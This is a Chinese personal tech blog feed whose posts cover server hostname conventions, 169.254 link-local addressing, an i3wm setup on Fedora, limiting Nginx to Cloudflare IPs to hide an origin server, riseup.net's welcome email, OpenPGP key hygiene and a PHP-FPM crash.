这里且不去讨论 YouTube 是否使用了 Anycast 技术或者其他的 CDN,这样的地址比较明确地反映出对应服务器的具体情况,比如第一条就应该是 lga 数据中心内 34 号区域,第 13 节点(瞎猜的~). 查阅了一下 ServerDensity 的一篇博客 后发现他们的命名规则是:

  • hcluster3-web1.sjc.sl.serverdensity.net

表示:cluster3 用途(对于他们而言是消息推送),web 服务器,位于 San Jose,SoftLayer 机房,十分清楚明了不是么,对于超大量的服务器集群管理而言,除了自动化的工具以外,这样清楚的服务器命名架构可以服务器出现故障时帮助你快速定位故障服务器位置。

类似的还有:

  • ec2-34-194-228-249.compute-1.amazonaws.com

这类。

当然,这样的命名方法对于我们小规模服务器(服务器 < 10)管理而言并不适用,名字太长,不好记忆。

以单词 / 动物 / 人物命名

这类命名方法和给孩子起名类似,可以根据服务器的性质或者随意选择一个名字作为服务器的 Hostname,并且使用一个域名对其进行解析,也是目前我使用的方法,这种方法适合小规模服务器群。

比如 riseup.net 的服务器:

  • lyre.riseup.net

Autistici/Inventati:

  • devianza.investici.org
  • confino.investici.org
  • perdizione.investici.org

MIT PGP:

  • cryptonomicon.mit.edu

比较简单的挑名字的方法就是通过 Random Name Generator 生成一个,或者根据你自己的背景 yunyun 来命名。

为什么是 Destiny 和 yunyun?

Destiny 运行于 Online.net 旗下的 Scaleway 上面,是一个新的服务器,配置比较足,destiny 寄予着我对这台服务器未来负载的希望。

yunyun 运行于 Makonix SIA,去年开始使用 BTC 租用,配置较为一般且将会在 18 年年初过期,** 刚开始租用时比较看好 随着对其探索的深入 ,越发感觉其提供虚拟化方式(OpenVZ) 无法满足作为生产环境使用的需求 **,遂 ** 不打算继续续费 **,至于对应到真实人物有什么联系?哈哈,我已经说的很明确了~

结语

本文用于记录我对一些服务器 rDNS/Hostname 的一些探索,并非一个完整的 How-To,由于看到中文互联网圈子中少有类似的文章,便记录成文以分享,同时十分欢迎更好的关于服务器命名的建议 / 经验!

]]>
HP-D4950B 晒图https://nova.moe/hp-d4950b/Thu, 16 Nov 2017 22:24:47 +0000https://nova.moe/hp-d4950b/

Older rubber dome keyboards often feel better than the cheap ones from China today.

网上找不到相关键盘的完整介绍,拆自 HP 某 KeyServer,来源是我的老师(借的,当然~)

使用手感和 HHKB 很相似,虽然这个键盘的是薄膜键盘,但是可能是因为出产的比较早的缘故,现在用起来依然十分厚实,键程和 HHKB 类似,但是下压力度需要更大一些,触发点和传统薄膜键盘类似。

宽度几乎是我的 HHKB Pro2 的两倍。

]]>
关于 169.254.0.0/16 地址的一点笔记https://nova.moe/note-on-169-254-ip-addresses/Thu, 09 Nov 2017 22:54:33 +0000https://nova.moe/note-on-169-254-ip-addresses/一年之前

年轻的 Nova 在为语音楼计算机教室配置网络的时候,由于配置失误,所有的计算机都无法访问到网络,挑了几台计算机 ipconfig 了一下发现清一色的都是 169.254 开头的 IP,且做 tracert 的时候全部断在第一跳,于是我在未经求证的情况下武断的认为:在 Windows 系统下,所有没有分配到 IP 的计算机不会像 Linux 一样不显示 IP,而是显示成 169.254 开头的一个 IP.

昨天

在程序设计大赛团队赛 打酱油 的时候,老师在投影上给出了 pc2server 的 IP 地址竟然也是一个 169.254 的 IP 地址.“机智的我” 一下子就看出了 “其中的问题”,并立刻举起了手向全班宣布了这个 IP 是个不可达的 IP 的消息,老师倒也不惊讶,淡淡地说道:我刚刚测试的一台电脑是可以连接的,你那边是不是网线没插上?

不行,我必须解释这一切,说着我打开了 cmd 开始一边输入 ping 《那个 IP 地址》 一边解释这个 IP 是微软的系统在没有分到 IP 的时候自动给自己分的一… 话还没说完,ping 的结果就出来了,4 个包全部到达,延迟 < 1ms.

“哦哦,没问题,了,老师…”

然后就看到身旁的妹子 (然而并不是我的) 和其他队的成员诧异看着我…

169.254.0.0/16 的来历

有了昨天被快速打脸的经历后,我决定探索一下这个 IP 的来历和昨天事件的本质。

首先很显然,169.254 这个 IP 是一个保留地址,如果你去 ip.cn 上面查询的话,会告诉这个是 “非 Internet 地址”,当然,这个不是我们想要的结果。

根据 RFC 3927,如果一个网络接口被配置了 DHCP 但是 DHCP 服务器并没有为其分配 IP 的话,这个接口就会自动给自己分配这个称为 link-local IPv4 address 的地址,或者用微软的叫法称为 Automatic Private Internet Protocol Addressing (APIPA).

高中自学 CCNA 的时候听说过令牌环网这么个东西,不过一直没有见到过实际应用场景,就没有去深究,现在想想 RFC 3927 定义的这个 link-local 地址不正是一个令牌环网的原型么?如果一个子网内的机器都找不到 DHCP 服务器,那干脆自成一派,全部给自己分配成一个网段(也就是 169.254 开头的 IP),在实际场景,比如学校的机房中,所有的计算机都是连接在一个 L2 交换机上,这样在一个被隔离的网段中的计算机通过计算发现对方 IP 与自身的子网掩码相同从而将自己的数据包交给交换机进行转发,达到内网互通的效果。

然后我就在考虑一个新的问题:既然机房的计算机全部是一键安装的,那初始化的 169 开头 IP 应该会是同一个而导致冲突才对啊?

仔细阅读了 RFC 之后才发现自己 naïve 了,原文如下:

When a host wishes to configure an IPv4 Link-Local address, it selects an address using a pseudo-random number generator with a uniform distribut on in the range from 169.254.1.0 to 169.254.254.255 inclusive. If the host has access to persistent information that is different for each host, such as its IEEE 802 MAC address, then the pseudo-random number generator SHOULD be seeded using a value derived from this information.

这样看来有两重保证,首先这个 / 16 的 B 类地址段可以保证有一个 65536 的池供选择,其次可以通过几乎全球唯一的标识符(比如 MAC 地址,UTC 时间)来生成自己 IP 地址的后两位做到冲突的避免,除此之外,为了保险起见,每个地址生成之后还需要有一个 check 的操作,RFC 原文如下:

A host probes to see if an address is already in use by broadcasting an ARP Request for the desired address. The client MUST fill in the ‘sender hardware address’ field of the ARP Request with the hardware address of the interface through which it is sending the packet. The ‘sender IP address’ field MUST be set to all zeroes, to avoid polluting ARP caches in other hosts on the same link in the case where the address turns out to be already in use by another host.

通过一个广播 IP 地址的 ARP 广播包来判断自己生成的 IP 是否被使用过,嗯,这个设计简直妙不可言~

总结 & 思考

  • 这件事情说明了什么? 千万不要想当然地 “理解” 一个事物的本质,否则很容易自打脸

  • 为什么正常工作的机房网络会突然全部获取不到 IP 地址? 可能是为了防止有人比赛的时候登录 Drcom 去网上查询吧, 但是他们都有手机啊!!还有自己之前写过的代码

  • 是不是真的只有 Windows 才会有 169.254 这个 IP 呢? 其实并不是,这个是 RFC 规范,所有的系统都会按照这个规范来操作,对于 Linux 而言,如果在这样的网络环境中,这个情况会以 route 的形式表现出来:

Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
... (bunch of things) ...
169.254.0.0     0.0.0.0         255.255.0.0     U     1000   0        0 eth0
192.168.1.0     0.0.0.0         255.255.255.0   U     0      0        0 eth0

参考资料

  1. Why 169.254.0.0 appears by default in the routing table?
  2. 169.254.0.0/16 addresses explained
]]>
在 Fedora26 上与 i3wm 的快乐玩耍https://nova.moe/playing-i3wm-with-fedora/Sun, 05 Nov 2017 17:44:44 +0000https://nova.moe/playing-i3wm-with-fedora/很早就听说过 i3wm 的大名,也看到过很多大佬在使用它,不过自己之前的几次尝试都因为各种各样的依赖关系,功能缺失(比如中文输入法,声音控制等)而放弃了尝试,最近正好考完了期中考试,遂花了一个下午折腾了 i3 窗口管理器,现在的感受是:

  • 超快的反应速度
  • 不再卡顿的 ibus 输入框架
  • Geek 风的布局和使用方式
  • 将我电脑最低亮度时的电池续航时间从的 1.5 小时提升到了 3 小时

2018-03-28 更新:花 60¥入了块第三方电池,续航时间达到了 4 小时~

这种让我的老电脑飞奔起来的感觉,** 可能我以后不再会使用 GNOME 了:)**

下面记录一下我的折腾过程:

我的 i3 配置文件在 ~/.config/i3/config 中,下文所指的配置文件均为这个文件。

基础安装

我参照了这篇文章上的安装过程,安装了 i3,i3lock 等一些基础的工具。 https://fedoramagazine.org/getting-started-i3-window-manager/

我按照自己的习惯自己的配置好的 config 文件在 我的 GitHub 上,可以直接下载使用或者按照我下面的内容按需自行配置。

桌面壁纸

我知道虽然作为平铺窗口管理器我们平时是不应该看到桌面的,但是有的时候还是希望能显示以下自己的桌面壁纸,在配置文件中加上:

exec --no-startup-id feh --bg-fill /path/to/<somebg>.jpg

其中 --bg-fill 是平铺,--bg-scale 是拉伸适应。

输入法

登录后发现没有中文输入法,想到应该是 ibus 的问题,尝试 ibus-setup 之后发现可以用了,配置了一个中文输入法之后就可以工作了,为了让它开机启动,我在配置文件中加上如下行:

exec --no-startup-id ibus-daemon

重启后输入法就可以开机启动了。

SSH

默认的 ssh-agent 无法读取到我本地的 ssh key 导致无法连接服务器,推代码等,目前没有想到一个很好的解决方法,替代方法是开机之后先导入一遍自己的 key,指令如下:

$ ssh-add ~/.ssh/<your_ssh_priv_key>

如果各位有更好的想法,欢迎把我打醒~

声音

默认 i3 并没有一个好的音频管理工具,我使用的 pavucontrol 和两个快捷键联合使用,快捷键配置如下:

2017-12-06 更新:建议使用 alsamixer,pavucontrol 可能会在触发静音后无法再次打开声音。

bindsym $mod+comma exec amixer set Master -q 5%-
bindsym $mod+period exec amixer set Master -q 5%+

这样只需要按 $mod+','$mod+'.' 就可以快速加减音量了。

多显示器

我有一个外置的显示器,当 i3 开启的时候会把第二个开始的所有 Session 开在笔记本电脑上,这样我的主显示器就只能看到 Session1 了:(

比如,我的 xrandr 数据如下:

➜  ~ xrandr
Screen 0: minimum 320 x 200, current 1920 x 1080, maximum 8192 x 8192
VGA-0 connected primary 1920x1080+0+0 (normal left inverted right x axis y axis) 521mm x 293mm
   1920x1080     60.00*+
   1680x1050     59.95
   1280x1024     75.02    60.02
   1440x900      59.89
   1280x960      60.00
   1280x720      60.00
   1024x768      75.03    70.07    60.00
   832x624       74.55
   800x600       72.19    75.00    60.32    56.25
   640x480       75.00    72.81    66.67    59.94
   720x400       70.08
LVDS connected (normal left inverted right x axis y axis)
   1366x768      60.04 +
   1280x720      59.97
   1152x768      59.95
   1024x768      59.95
   800x600       59.96
   848x480       59.94
   720x480       59.94
   640x480       59.94
HDMI-0 disconnected (normal left inverted right x axis y axis)

只需要把笔记本自带的显示器关闭即可:

xrandr --output LVDS --off

2018-03-28 更新:建议使用 lxrandr,这个 GUI 的设置工具可以减少背 xrandr 命令的麻烦。

屏幕截图

还是调用 Gnome 的截图软件,配置文件中加上如下:

bindsym $mod+p exec gnome-screenshot

$mod+p 截图。

Wi-Fi

2018-03-28 更新:建议使用 nmcli,这个 CLI 的设置工具更加易用。

开关 Wi-Fi,在 root(sudo)下运行:

nmcli radio wifi on # 开 Wi-Fi
nmcli radio wifi off # 关 Wi-Fi

扫描附近的 Wi-Fi 热点(只需要执行一次,不会有输出):

nmcli device wifi rescan

列出附近的热点:

nmcli device wifi list

连接热点:

nmcli device wifi connect <热点名字> password <密码>

此外

还有比较重要的未探索的就是锁屏界面,默认的 i3lock 太丑,而且不会让屏幕自然熄灭,如果忘了关闭显示器的话可能会导致屏幕损坏,目前我仅仅是在配置文件中加上了一行让它显示个背景图片不至于太丑,锁屏幕后手动关闭显示器。

bindsym $mod+l exec i3lock -i /path/to/<BackGround>.png

以上。

]]>
让 Nginx 只允许 Cloudflare 反向代理流量以隐藏源站https://nova.moe/nginx-block-non-cloudflare-ips/Fri, 03 Nov 2017 18:50:23 +0000https://nova.moe/nginx-block-non-cloudflare-ips/Cloudflare 的传统用法是通过反向代理你的网站服务器起到防止 DDoS 和 CDN 加速的作用,这里假设 Cloudflare 是 D 不垮的,所以许多 DDoS 提供者的研究重心就放在了如何找出 Cloudflare 的源站上,比如子域名爆破,找回密码邮箱等等。

本文仅用来记录我是如何在 IP 层面上保护自己的源站地址的。

接入 Cloudflare 之前

假设我有一个网站:example.me,托管于:95.215.45.2. 在接入 Cloudflare 之前的 dig 结果会是:

;; ANSWER SECTION:
example.Me.		1799	IN	A	95.215.45.2

这个时候我的服务器 IP 是直接暴露着的,假设我的安全措施没有做好,可能一波小流量的 DDoS 我的网站就挂了:(

接入 Cloudflare 之后

由于被 D 挂了一次,我决定把 example.me 迁到 Cloudflare 上提供保护,此时 dig 结果变成类似这样,显示的是 Cloudflare 的 IP,看上去很安全:

;; ANSWER SECTION:
example.Me.		600	IN	A	104.24.111.123
example.Me.		600	IN	A	104.24.110.123

此时作为攻击者有了之前的攻击经验可以直接猜测真实 IP 是 95.215.45.2,作为测试,只需要一条 cURL 语句,通过判断返回的是否是站点内容来判断是否继续攻击这个 IP:

curl -H "Host: example.me" example.me

可以猜到,我的服务器又会挂掉:(

** 所以,我们需要配置 Nginx 只接受来自反向代理 Cloudflare 为我们清洗过后的流量.**

配置 Nginx

首先在 https://www.cloudflare.com/ips/ 找到 Cloudflare 提供的 IP 段,然后在 /etc/nginx 下创建一个文件,比如 cf.conf

内容如下:

# https://www.cloudflare.com/ips
# IPv4
allow 103.21.244.0/22;
allow 103.22.200.0/22;
allow 103.31.4.0/22;
allow 104.16.0.0/12;
allow 108.162.192.0/18;
allow 131.0.72.0/22;
allow 141.101.64.0/18;
allow 162.158.0.0/15;
allow 172.64.0.0/13;
allow 173.245.48.0/20;
allow 188.114.96.0/20;
allow 190.93.240.0/20;
allow 197.234.240.0/22;
allow 198.41.128.0/17;

# IPv6
allow 2400:cb00::/32;
allow 2405:8100::/32;
allow 2405:b500::/32;
allow 2606:4700::/32;
allow 2803:f800::/32;
allow 2c0f:f248::/32;
allow 2a06:98c0::/29;

然后在需要保护的网站 Server Block 中加上:

include /etc/nginx/cf.conf;
deny all;

大功告成,现在试一下 cURL:

➜ curl -H "Host: example.me" 95.215.45.2
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx</center>
</body>
</html>

现在非 Cloudflare 的来源 IP 会显示 403,为了混淆起见,建议同时将直接 IP 访问的流量也给 403 掉。

server {
	listen 80 default_server;
	server_name _;
	server_tokens off;
	return 403;
}
]]>
riseup.net 新用户邮件https://nova.moe/riseup-new-user-mail/Sat, 28 Oct 2017 20:36:42 +0000https://nova.moe/riseup-new-user-mail/今天对邮箱整理的时候在最底下找到了当时注册 riseup 邮箱的时候收到的一封统一的邮件,细细读来还是挺有意思的,特此分享出来,并对部分内容进行加粗,加注,考虑到大多数用户可能只能读懂英文,本文只包含英文部分,如果想看原始邮件内容可以在下方评论,我可以将邮件 Forward 给你一份。

[en] Welcome to riseup.net email. See below for important information.

[de] Herzlich Willkommen zur elektronischen Post riseup.net. Siehe unten, bitte, die wichtige Information.

[el] Καλώς ήρθατε στο riseup.net email. Δείτε παρακάτω για σημαντικές πληροφορίες.

[es] Bienvenido al correo electrónico riseup.net. Vea a continuación para obtener información importante.

[fr] Bienvenue dans le mail de riseup.net. Plus d’informations ci-dessous.

[it] Benvenuti a e-mail riseup.net. Vedi sotto per le informazioni importanti.

[pt] Bem-vindo ao e-mail riseup.net. Veja abaixo as informações importantes.

[ru] Добро пожаловать в сервис электронной почты riseup.net. Ниже находится важная информация.

[tr] Hoşgeldin riseup.net e-posta. Önemli bilgi için aşağıya bakın.

=== =========================== === english =========================== === ===========================

Welcome to your new riseup.net email account!

We know you are busy making trouble and changing the world…(注:说实在的,第一次读到这句话的时候把我逗乐了) but can save yourself and us a lot of trouble by reading this email.

First steps

Visit https://user.riseup.net from there, you can change your password, add email aliases, set up email filters, change your quota, and request help.

We automatically destroy the information you gave us as part of your account request. You should consider removing any identifying information from your account settings, such as your name, birthday, secret question, and alternate email. However, if you forget your password and this information is not set (or you’ve forgotten what you stored, or the alternate email is no longer accessible), then you will lose access to your account.

Important things to know

(1) Protect your password

The Internet is crawling with people trying to steal your email account. At some point, you will probably receive a fraudulent email from someone pretending to be riseup.net. These emails will claim that you must perform some action in order to keep your account.

. Never give your password to anyone, especially someone claiming to be riseup.net.

. Never trust that the “From” address of an email is from who it says, because this can be forged easily.

. Web links in email messages are often fraudulent. To be safe, you should retype the link rather than clicking on it. Also, be careful about misspellings, like riseupp.net instead of riseup.net

(2) Automatic deletion of messages in some folders

Messages in some folders are automatically deleted after a certain number of days:

. Trash: deleted after 21 days.
. Spam: deleted after 7 days.
. Sent: deleted after 120 days.

(3) Quota

For many reasons, we do not provide much storage space for email. If you need more space, consider downloading your email using a mail client or increasing your quota by visiting https://user.riseup.net. More information on this can be found at https://riseup.net/email.

(4) Use an email client

Although the riseup.net web-based interface does not have many features, you can use your riseup.net email account with a feature-rich desktop application designed specifically to handle your email.

Riseup recommends Thunderbird, a free and open source mail client:

http://www.mozillamessaging.com/en/thunderbird/

Thunderbird will automatically configure itself correctly if you just give it your riseup.net email address and password.

What is special about riseup.net email

Your riseup.net email account is a wonderful thing. Although we don’t provide as much storage quota as surveillance-funded corporate email providers, riseup.net email has many unusual features:

(1) We encrypt traffic whenever possible.

When you send email from riseup.net to another secure email provider, the email is encrypted for its entire journey. (see https://riseup.net/starttls for more info)

(2) We don’t disclose your location to email recipients.

When you send email with riseup.net, your internet address (IP address) is not embedded in the email(注:国内的邮件服务商普遍比较脑残,喜欢把发件人的 IP,邮件软件等信息放到 Headers 中,示例内容见本文末尾.). With corporate email providers, anyone who receives your email can figure out your approximate physical location from the internet address included in the email.

(3) We don’t log your internet address.

Our commitment is to keep as little data on you as we can. Unlike corporate providers, we do not log internet addresses of anyone using riseup.net services, including email.

Mutual aid

There is no such thing as free email. Services like gmail, hotmail, and yahoo make their money from surveillance: they build a profile on your behavior and your desires and then bombard you with advertising specifically targeted to you. (注:其实很多服务也是这样的道理。他们看似提供免费的服务,实则是以 “你” 作为代价的。记得看到过一个比较经典的评论:如果他们不是在向你出售他们的服务,就是在出售你.)

Riseup.net is different. This service is a labor of love by activists like you committed to building movement-run and secure alternative infrastructure.

The riseup.net email service takes a lot of time and money to keep running, and is funded entirely by small donations from its users. Please do your part and contribute today at https://riseup.net/donate

In solidarity, The Riseup Collective

A copy of this email is available at https://riseup.net/welcome-email and our terms of service at https://riseup.net/tos

国内大多脑残服务商的邮件 Headers 部分内容:

X-QQ-SSF: 000100000000001000000000000000Z
X-HAS-ATTACH: no
X-QQ-BUSINESS-ORIGIN: 2
X-Originating-IP: 183.**.**.39
X-QQ-STYLE:
X-QQ-mid: webmail344t1508944293t738217
From: "=?gb18030?B?*****" <******@qq.com>
To: "=?gb18030?B?bjB2YWQzdg==?=" <n0vad3v@riseup.net>
]]>
总想写点什么——近期的一些所思所想https://nova.moe/always-want-to-write-something/Sun, 22 Oct 2017 00:09:05 +0000https://nova.moe/always-want-to-write-something/总想写点什么,又总是不知道该从哪儿开始,最近思绪总是断断续续,或者可能从进入了大学开始就是这样了,不像在高中时期可以十分专注于一件事情很久,在某本书中可能会如下描述——没法进行长时间的线性思考。

思绪来的太快,消失的也太快,我把我的一些人畜无害的想法记录下来并分享出来,让自己的思路能留下写痕迹,也希望对读者有些启发,或者全当作是读来消遣吧。

或许与高中时期的时间分配有关系,那会儿我并不像其他同学那样有可以一直玩的东西(比如手机)或者有恋爱可谈,平时除了完成学校要求的内容以外就是一个人看禁书(即计算机,心理学方面的书)的时间,生活中的琐事几乎全部” 外包 “给父母,自然有很多的时间用来” 进行长时间的线形思考 “,所以那段时间我也写了不少文章,基本可以很容易地针对一个问题从各个方面理解并成文。

记得当时看到网上有一些所谓的千字文计划,似乎讲的是一些博主通过强迫自己写千字文来提升自己的控制文字,提升思路的能力,高中时看着觉得新奇,认为这样本来就很容易嘛,哪里需要自己专门去练习呢?

而现在到了大学,才发现自己的写文章能力越来越弱,每每想写点东西都没法集中精神,刚刚动笔就因为思路被打断(无论是自发的还是别人造成的,且前者发生的几率更大)被 :q! 然后无情地 rm -f。 现在每天的课程虽然不像高中密度那么大,但是与高中相比,有大量琐事需要自行处理,能一个人安安静静想问题的时间被一再压缩,且经常会处于一个矛盾状态,难以平衡自己思路发展方向,如果写下来是否会暴露自己的某些隐私信息,是否会给自己带来法律上的问题,且由于这里基本是我的实名身份,我明白在现在的网络环境下稍有不慎就会给我带来麻烦,种种约束形如被捆绑着手足的舞蹈,完全施展不开自己的思路,很多小的思绪就会在萌芽来不及深入思考就被丢弃。

除了对文章的把握以外,我的耐心也在逐渐下降,和写文章的思路一样,有的时候打算尝试点新的技术,但是可能在开始时遇到了一些小的麻烦就直接放弃尝试,情况和我在向同学看一个项目的技术文档时类似,当对方看到满屏幕的英文时,多半是一句 “不看了”,直接放弃阅读的尝试。 每当我为他惋惜错过了多少精彩的内容的时候也在自己反思,像我这样越来越 “擅长” 知难而退的行为是否也给我带来了损失呢? 每放弃一个项目,学习, 可能感兴趣的人 时,我几乎都会自我欺骗说这样继续下去是沉没成本,因为我没有看到眼前的优势,或者说,我的眼光变短了,开始越来越喜欢追逐小的 Goods,变得功利主义,虽然知道这样不好,会极大限制我的发展,虽然目前我作出了诸多改善的尝试,但似乎没有理想中那么美好。

自己的一个朋友和我说在中国越是好的大学功利主义的学生就越多,虽然我感觉我周边的同学没有那么的功利主义(他们只是沉迷游戏影响我睡眠和心情罢了),但是我十分能认可他的观点,现在国内学校的培养思路的确是这样的。 学生可以在考试时为了更好的成绩而作弊,为了在简历上可以多留下一些 “证据” 而去参加一些自己并不感兴趣的竞赛,为了获得高 GPA 而和老师打好关系,或者放弃自己感兴趣的内容而全身心地参与学校设置的课程。与其说是功利主义,我更加愿意认为他们已经失去了自己的灵魂,无论是自愿的还是受到环境的影响导致的,这点仔细想想令我挺难受的 尤其是我喜欢的那位也是其中的一员,而我却无能为力 . 当然,这个讲多了必定会涉及到中国教育体制的问题,本文就不讨论这个了。

还是回到关于思考的讨论吧, 经过一些对 select 和 epoll 的探索后 ,我发现还是串行阻塞型的思维方式比较适合人类(或者至少是我的)大脑,同时开的进程一旦超过 3 个,来会切换就会耗费巨大的成本,且大脑处理时前台实质上只能处理一个进程(事物),有的时候在上课时突然想到一个新的点子就可能会对其 “头脑风暴” 一波,等到感觉应该听课时发现已经错过了许多,要重新 sync 上老师的节奏就会比较困难(尤其是物理这样的对我而言是零基础的课程).

再来聊聊关于控制,自控相关的想法,这一点我感受颇深。 依然是与高中相比,那个时候基本除了学习用品以外自己其他的服饰,穿戴,发型等都是父母和与学校双方约束的结果,且可能并不像一个传统的高中生,我并不会得到定期的来自父母的所谓零花钱。 最近看到一条评论,简单摘要如下:

然而西方特别是美国普通人没有人崇拜控制一切大公司和资本主义,因为他们从小就知道资本离开了控制就是恶魔

由于学习用品是自己的随时需要用的,且基本不受管控的,我在高中时对笔和墨水的研究较多,也对英语书法十分感兴趣,创立了 ECENPAC(目前也是创始人和负责人),所以现在对各个类型的笔(主要是 Lamy 那类欧系,德系)了解较多,也很明确自己的需求是什么。 相比校而言,就比如发型吧,到目前为止我都不确定什么发型是一个合适和发型,每次都是让理发师尽量保持 “均匀裁减”,每次剪完头发从镜子中看到自己的 “新发型” 都不知道该如何评论 或许这就是她不喜欢我的原因吧 2333. 类似的,由于小时候缺乏对金钱的使用经验,对于经济的管控我也比较难以拿捏规划粒度,更别提服装那块了,永远灰黑配色,看上去也像是个失败的程序员:P 当然,我最担心的还是现在缺乏外界的指导,所以可能在可以预见的几年中我仍然会是现在这个状态,这听上去并不妙。

本来写了好长一段自己对于建立一个通用的,可自订化生成的关于如何培养孩子的方法的想法的来着,想了想现在虽然写代码可以被很多小白称大神 / 大师的我却和女生保持一个长时间的符合传统对话方式的交流都有障碍,更别提找女朋友及以后的事情了,所以现在这段还是删了吧,免得丢人,哈哈。

你这个性格和审美还是等着父母安排相亲吧 ——某同学对我如是说

MBTI

]]>
OpenPGP 最佳实践 - 密钥配置https://nova.moe/openpgp-best-practices-key-configuration/Wed, 04 Oct 2017 14:05:48 +0000https://nova.moe/openpgp-best-practices-key-configuration/你应该已经可以从一个密钥服务器上同步其他人的密钥了,现在你需要保证你的 OpenPGP 密钥已经被正确的配置。

使用一个强壮的主密钥

(注:此段有许多内容较为过时,我将选择性翻译) 在 2011 年美国 NIST放弃了 DSA-1024 加密算法。

现在推荐使用 sha512 生成的 4096 位的 RSA 密钥,并且使用双密钥签名的 密钥转移声明,并且让其他人知道你的密钥,有一份 不错的文档 写清楚了这么做的所有步骤。

转变会比较艰难,但是这样是值得的,且这也是一个最好的使用工具实践的方法。

密钥过期时间不要超过 2 年

很多人不希望他们的密钥过期,但是你真的这么认为么?密钥的过期时间可以在任意时刻(哪怕已经过期)修改。所以过期时间更像是一个自动的定时开关,如果你在没有及时重置开关则密钥可以自动失效,这样可以让其他人知道你一直对密钥有所有和管理能力。

当然,如果设置一个过期时间的话就意味着你以后在某个时间需要延长一次,这个是一个你需要记住的微小的工作。

你可能会认为这样很烦人并且不想处理它,但是这个是一个基础的让你保持对 OpenPGP 工具熟悉的方法,它表明了你的密钥仍然在被使用着。此外,有些人不会对一个没有过期日期的密钥签名。

假设你已经生成了一个没有过期时间的密钥,你可以通过以下指令来添加过期时间:

gpg --edit-key <密钥指纹>

现在选择一个你想设置过期时间的子密钥,并且输入 expire 指令:

gpg> key 1
gpg> expire

然后设置一个合理的过期时间并且退出(比如两年):

Key is valid for? (0) 2y
gpg> save

然后你需要把你的公钥推到密钥服务器上来宣布这次改动:

gpg --send-key <密钥指纹>

在日历上提醒你延长过期时间

你肯定记不住密钥过期时间的,所以在过期前的一两个月设置一个提示告诉你该更新过期时间了。

生成一个吊销证书

如果你忘记了你的密码或者你的私钥已经被他人获取,你唯一的希望就是等到的密钥过期(当然,这样并不是一个好的解决方法),或者把你的吊销证书推到密钥服务器上,这样可以通知到其他人你的密钥已经被吊销不再使用了。

一个被吊销的密钥仍然可以用来验证证书或者解密信息(如果你还能解开私钥的话),但是已经不能被其他人用来加密消息发送给你,使用以下指令创建一个称为 revoke.asc 的销毁证书:

gpg --output revoke.asc --gen-revoke '<fingerprint>'

你可能会希望把这个文件打印出来并且隐藏起来。如果有人得到了这个,他们就可以吊销你的密钥,这样就会很不方便,但如果他们得到了你的私钥,那么吊销的密钥就十分必要了。

需要注意这个在 GnuPG 2.1 及以上会默认进行。

主密钥只用来认证(或者签名),使用一个子密钥用来加密

这个在 GnuPG 1.4.18 及以上是默认进行的。

用一个单独的子密钥来签名

默认 GnuPG 使用同一个子密钥来签名消息和给其他密钥签名。如果使用单独的子密钥来操作的话会十分有用,因为签名消息远远比签名其他的密钥重要。

在这个情况下你的主密钥仅仅用来认证,且很少被使用。

可以使用 edit-key 来编辑,使用 addkey 来生成子密钥。

把主密钥完全放在线下

这个保护你的主密钥的方法很有技巧性。如果你的主密钥被盗,攻击者就可以用它来创建的新的身份并且吊销你的证书,将主密钥完全放在线下可以很好的防止这类攻击。

确保你使用了单独的签名密钥,你没法使用已经被下线的主密钥给邮件签名。

# 导出你的主密钥
gpg -a --export-secret-key john.doe@example.com > secret_key
# 导出所有子密钥
gpg -a --export-secret-subkeys john.doe@example.com > secret_subkeys.gpg
# 删除 keyring 上的所有私钥,这样就只有子密钥的
$ gpg --delete-secret-keys john.doe@example.com
Delete this key from the keyring? (y/N) y
This is a secret key! - really delete? (y/N) y
# 重新导入你的子密钥
$ gpg --import secret_subkeys.gpg
# 确认已经导入完成
$ gpg --list-secret-keys
# 在磁盘上把子密钥删除
$ rm secret_subkeys.gpg

然后你需要保护好 secret_key 内容,比如放在一个 U 盘中,或者使用智能卡(注:比如 Yubikey)来储存密钥,设备的安全性决定了你密钥的安全性。

请确保你有吊销证书。

你可以通过 --list-secrect-keys 参数,通过判断私钥部分显示的是 sec# 而不是 sec 来确认私钥部分已经被移除。

提示:在上述操作中私钥在你的磁盘上时使用明文储存的,所以一个单独的 rm 并不能彻底删除掉,考虑使用 wipe 工具,当然,如果你使用的是 SSD 的话,操作前请确保已经上了 FDE(全盘加密),否则没法彻底删除。

回到目录

]]>
解决 PHP 处理大型文件时超时的问题https://nova.moe/solving-problem-php-tle-while-handing-big-files/Wed, 13 Sep 2017 17:02:22 +0000https://nova.moe/solving-problem-php-tle-while-handing-big-files/最近在 AreaLoad 的开发中完成了 “收作业” 功能的代码实现,然而在部署到生产环境为 “大数据语言课程实验报告” 收取的时候,在传 $dlcourseid 到后端之后。在完成对学生作业压缩后却发生了 404 的错误,并且服务器上报了一个 abrt 的错误,相关报错信息如下:

ABRT has detected 1 problem(s). For more info run: abrt-cli list --since 1505292199

登上服务器之后吓了一跳,以为 PHP 代码出现了严重的错误。

id 7922bd6e0048c9a0fae2d45ebcc3891c2fc6bd91
reason:         php-fpm killed by SIGSEGV
time:           Tue 12 Sep 2017 12:23:23 AM HKT
cmdline:        'php-fpm: pool www' ''''''''''''''''''''''''''''
package:        php-fpm-7.1.9-1.el7.remi
uid:            994 (nginx)
count:          18
Directory:      /var/spool/abrt/ccpp-2017-09-12-00:23:23-11357


The Autoreporting feature is disabled. Please consider enabling it by issuing
'abrt-auto-reporting enabled' as a user with root privileges

在查看 /var/log/nginx/error.log 的时候发现后端负责处理数据的 course.php 页面的 Notice 甚至无法显示完整就在中间断开了,且有如下错误:

2017/09/13 16:57:02 [error] 13357#0: *2261 open()"/var/www/platform/50x.html"failed (2: No such file or directory), client: 10.8.122.223, server: , request: "POST /python/course.php HTTP/1.1", upstream: "fastcgi://127.0.0.1:9000", host: "10.1.74.133", referrer: "http://10.1.74.133/python/admin.php"
2017/09/13 16:57:43 [error] 13357#0: *2265 recv() failed (104: Connection reset by peer) while reading response header from upstream, client: 10.8.122.223, server: , request: "POST /python/course.php HTTP/1.1", upstream: "fastcgi://127.0.0.1:9000", host: "10.1.74.133", referrer: "http://10.1.74.133/python/admin.php"

虽然第一时间想到了可能是 PHP 运行脚本超时,但是在后续的测试中发现我们课程下载的文件 URL 居然会击中学校内容缓存,就开始研究如何部署全局 SSL 了,这个问题一直拖了 3 天,搞的我心神不宁的…

